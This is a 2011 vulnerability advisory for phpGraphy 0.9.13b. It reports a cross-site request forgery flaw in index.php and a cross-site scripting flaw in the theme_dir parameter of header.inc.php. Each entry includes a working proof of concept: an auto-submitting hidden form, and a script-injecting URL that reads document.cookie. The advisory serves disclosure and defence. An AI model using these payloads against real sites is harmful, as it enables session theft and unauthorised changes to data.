phpGraphy 0.9.13b Cross Site Request Forgery / Cross Site Scripting

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Vulnerability ID: HTB22959  
Reference: http://www.htbridge.ch/advisory/csrf_cross_site_request_forgery_in_phpgraphy.html  
Product: phpGraphy   
Vendor: http://phpgraphy.sourceforge.net/ ( http://phpgraphy.sourceforge.net/ )   
Vulnerable Version: 0.9.13b  
Vendor Notification: 14 April 2011   
Vulnerability Type: CSRF (Cross-Site Request Forgery)  
Risk level: Low   
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "index.php" script to properly verify the source of HTTP request.  
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
Attacker can use browser to exploit this vulnerability. The following PoC is available:   
  
  
<form action="http://[host]/index.php" method="post" name="main" id="main">  
<input type="hidden" name="createdirname" value="1">  
<input type="hidden" name="dircreate" value="1">  
<input type="hidden" name="dir" value="">  
<input type="hidden" name="submit" value="OK">  
<input type="submit" id="btn">   
</form>  
<script>  
document.getElementById('btn').click();  
</script>  
  
  
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Vulnerability ID: HTB22958  
Reference: http://www.htbridge.ch/advisory/xss_in_phpgraphy.html  
Product: phpGraphy   
Vendor: http://phpgraphy.sourceforge.net/ ( http://phpgraphy.sourceforge.net/ )   
Vulnerable Version: 0.9.13b  
Vendor Notification: 14 April 2011   
Vulnerability Type: XSS (Cross Site Scripting)  
Risk level: Medium   
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
The vulnerability exists due to failure in the "/themes/default/header.inc.php" script to properly sanitize user-supplied input in "theme_dir" variable then register_globals on.   
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
The following PoC is available:   
  
  
http://[host]/themes/default/header.inc.php?theme_dir=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E  
  
  
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